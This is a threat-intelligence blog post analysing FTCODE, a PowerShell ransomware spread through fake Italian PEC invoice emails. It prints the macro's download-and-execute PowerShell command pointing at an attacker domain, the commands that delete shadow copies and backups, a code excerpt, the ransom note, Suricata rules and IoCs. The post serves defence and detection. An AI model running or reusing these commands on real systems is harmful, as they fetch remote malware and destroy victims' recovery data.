Malware Tales: FTCODE

certego.net/en/news/malware-tales-ftcode/

Date:
2 October 2019

Hi everyone! Today we are talking about a new ransomware we spotted being distributed in the wild dubbed as **FTCODE**.

Summary

1. The Threat

Malicious actors are evolving and trying new ways to infect computers.

At the start of this year, a specific actor started to leverage a legitimate certified mail service, mainly used in Italy, called **PEC** (Wikipedia). This service is particularly trusted by its users and is commonly used to deliver electronic invoices. Therefore, it's of special interest because it's easier to lure potential victims with malicious emails that refer to fake invoices.

Until the last week, the **Gootkit** banker was delivered as the final payload of the infection chain. (Certego Gootkit analysis)

During this year, the way to deliver this threat changed: they started to leverage a new simple but effective downloader dubbed as **JasperLoader** to deliver upgrades and additional modules when needed. (Talos research).

However, even if sophisticated, *Gootkit* is old malware. Also, it does not monetize fast and does require special interaction by the user. So, they have started experimenting with ransomware, maybe to understand if they can get more from this kind of infection.

We are talking about a raw ransomware fully written in Powershell code, called **FTCODE**.

Even if the name could seem new, the first appearance of this threat was in 2013, as stated by Sophos. Then, almost nothing was seen for about 6 years. Strange, but we have to remember that technology changes. Windows XP was widespread at that time and, by default, Powershell is installed only from Windows 7 on. That can be a problem because actors need to install powershell itself before running ransomware. Also, cyber security was not mature as it is nowadays so, for instance, classic Zeus-like bankers were more effective.

Indeed, last year we saw the arrival of a new downloader and backdoor written in Powershell that was called **sLoad** and it's still being actively distributed (Certego sLoad analysis).

KISS ("keep it simple and stupid") they teach you during software engineering courses. So, why strive with sophisticated malware when with a bunch of code written in Powershell you can perform every kind of wickedness?

So let's dive in more technical details to understand how **FTCODE** works.

Mainly we analyzed two samples from two different campaigns:

- version 930.5, md5: a5af9f4b875be92a79085bb03c46fe5c, day: 01/10/2019
- version 1001.7, md5: 8d4c81e06b54436160886d78a1fb5c38, day 02/10/2019

2.Payload Delivery

As stated before, the user receives an email that refers to a fake invoice with an attached document called "*Fattura-2019-951692.doc*". The threat actor leverages a commonly used template to trick the user to disable the "Protected View" mode and to trigger the execution of the malicious macro.

Once enabled, the macro runs and spawns the following Powershell process:

```
powershell iex ((New-Object Net.WebClient).DownloadString('http://home.sout
herntransitions.net/?need=9f5b9ee&vid=dpec2&81038'));
```

The result is the download of a piece of Powershell code that is run using the *"Invoke-Expression"* command ("**iex**"). Note that the function "*DownloadString*" saves the result of the request only in memory, in an attempt to avoid antivirus detection.

The new Powershell code is **FTCODE** itself. On execution, it performs the following *GET* request:

```
http://home.southerntransitions.net/?need=6ff4040&vid=dpec2&
```

to download a *Visual Basic Script* file and save it in *"*C:\Users\Public\Libraries\WindowsIndexingService.vbs".

This is a variant of **JasperLoader**, a simple backdoor that is able to download further payloads.

Then, it tries to create a shortcut file called "WindowsIndexingService.lnk" in the user's startup folder that runs the *JasperLoader*. Finally, to achieve persistence after reboot, it creates a scheduled task called "**WindowsApplicationService**" pointing to the shortcut file.

3. Environment Preparation

After having installed the *JasperLoader* backdoor, *FTCODE* starts to prepare the environment for the ransomware attack.

It verifies if the file "C:\Users\Public\OracleKit\w00log03.tmp" exists. If yes, it would check the presence of some files with the extension "**.FTCODE**" in all the drives with at least a free space of 50 KB. If there are some, it means that the machine was already attacked by the ransomware, maybe by a previous version: therefore, it would exit.

De facto, this indicator can be used to "**vaccinate**" the endpoints from this threat. It's enough to create the mentioned file with any kind of content to let *FTCODE* believe that the computer was already infected.

```
$xaebfyxj = $env:PUBLIC + "\OracleKit";
if (-not (Test-Path $xaebfyxj)) { md $xaebfyxj; }
$yxzsjdaz = $xaebfyxj + "\w00log03.tmp";
if ( Test-Path $yxzsjdaz ){
 if( ydehiyjh ){
 exit;
 }else{
 ri -Path $yxzsjdaz -Force;
 }
};
```

Afterwards it generates a random globally unique identifier (GUID) and a password consisting of 50 characters with at least 4 non-alphanumeric characters.

Then we found a hardcoded RSA public key that is used to encrypt the password. In this way the password cannot be deciphered without the proper private key controlled by the malicious actor and can be sent, in a secure way, to the attacker's server.

Surprisingly, the encrypted password, after being generated, is never used elsewhere in the code and, instead, is just sent the basic base64-encoded password to the attacker's server.

The consequence is that, **if the traffic against the attacker's server is being monitored, it's possible to retrieve the key that will be used to decipher the files, without paying any ransom.**

We believe that this mistake will be corrected in future versions.

After that error, *FTCODE* performs a POST request to the following URL:

```
http://connect.southerntransitions.com/
```

with the following parameters:

- **ver**=930.5, version number
- **vid**=dpec2, probably to identify the campaign
- **psver**=Powershell Major Version, probably to understand if FTCODE needs an update from JasperLoader
- **guid**=the GUID generated previously, to identify the victim
- **ek**=the previously generated password encoded in base64

if the server response is "ok", it creates the file "C:\Users\Public\OracleKit\w00log03.tmp" containing the GUID. If the server response is different, it would exit. This is another protection mechanism to evade execution in simulated environments.

Afterwards, it tries to run the following commands that are commonly used by almost every ransomware to avoid the chance that the victim can recover the encrypted files without paying:

```
bcdedit /set exgdccaxjz bootstatuspolicy ignoreallfailures
bcdedit /set exgdccaxjz recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete backup
vssadmin delete shadows /all /quiet
```

Similar behaviour is performed by Sodinokibi: Certego blog

4. Ransomware Attack

At this moment, everything is ready to perform the real attack phase.

FTCODE checks for all the drives with at least 50 KB of free space and it looks for all the files with the following extensions:

```
.sql,.mp4,.7z,.rar,.m4a,.wma,.avi,.wmv,.csv,.d3dbsp,.zip,.sie,.sum,.ibank,.t13,.t12,.q
```

Then, it encrypts the first 40960 bytes of each of them using the "*Rijndael* symmetric key encryption". The key is created based on the previous generated key and the hardcoded string "BXCODE hack your system". The initialization vector is also based on another hardcoded string ("BXCODE INIT").

Finally it appends the extension ".FTCODE" and creates the file "READ_ME_NOW.htm" in the folders that contain the encrypted files. We are talking about the classic ransom note with instructions on how to recover the encrypted file.

All your files was encrypted!

Yes, You can Decrypt Files Encrypted!!! our price 500 USD

Your personal ID: **0b08da88-6b82-4afe-8f67-e70b44e227b2**

1. Download Tor browser - https://www.torproject.org/download/

2. Install Tor browser

3. Open Tor Browser

4. Open link in TOR browser: **http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=0b08da88-6b82-4afe-8f67-e70b44e227b2**

5. Follow the instructions on this page

***** Warning*****

Do not rename files

Do not try to back your data using third-party software, it may cause permanent data loss(If you do not believe us, and still try to - make copies of all files so that we can help you if third-party software harms them)

As evidence, we can for free back one file

Decoders of other users is not suitable to back your files - encryption key is created on your computer when the program is launched - it is unique.

5.Version changes

We believe that this ransomware is in active development. Just one day after the delivery of the version 930.5, we saw another version distributed (1001.7). Malware authors noticed that, in the first version, there was no mechanism to tell the threat actors if the file encryption was successful or not. So, they added other 2 lines of code that trigger other 2 C&C POST requests with the following new parameters:

- **status**=”start” or “done”
- **res**=number of successfully encrypted files

Conclusion

Actors change their tactics faster and faster. But we understood that they could be lazy and they can make mistakes too. They are **humans** after all.

Some of them are starting to prefer ransomware like **FTCODE** over classic *infostealers* and *bankers*.

Also, we found that, **monitoring the network traffic, it’s possible to retrieve they key used to encrypt the files**.

So, it’s important to continuously **monitor** your own assets, both on a network and an endpoint level, to fight against these kind of threats.

Certego Threat Intelligence Team has been studying upcoming cyber threats for years in order to provide the best protection to their customers.

Suricata IDS signatures

```
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CERTEGO TROJAN FTCODE Payload
Request"; flow:to_client; content:"FTCODE"; http_server_body; nocase;
content:"vssadmin"; http_server_body; nocase;
reference:url,www.certego.net/it/news/malware-tales-ftcode/; classtype:trojan-
activity; sid:9000999; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CERTEGO TROJAN FTCODE
Registration Request"; flow:to_server; content:"POST"; http_method; content:"vid=";
http_client_body; content:"psver="; http_client_body; content:"guid=";
http_client_body; content:"ek="; http_client_body;
reference:url,www.certego.net/it/news/malware-tales-ftcode/; classtype:trojan-
activity; sid:9000998; rev:1;)
```

IoC

```
C:\Users\Public\OracleKit\w00log03.tmp
C:\Users\Public\OracleKit\AFX50058.tmp
home.southerntransitions[.]net
connect.southerntransitions[.]com
home.selltokengarff[.]com
home.ktxhome[.]com
connect.simplebutmatters[.]com
qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]onion
```

About the authors

Matteo Lodi, Threat Intelligence Lead Engineer (Twitter)

Marco Bompani, Security Analyst (Twitter)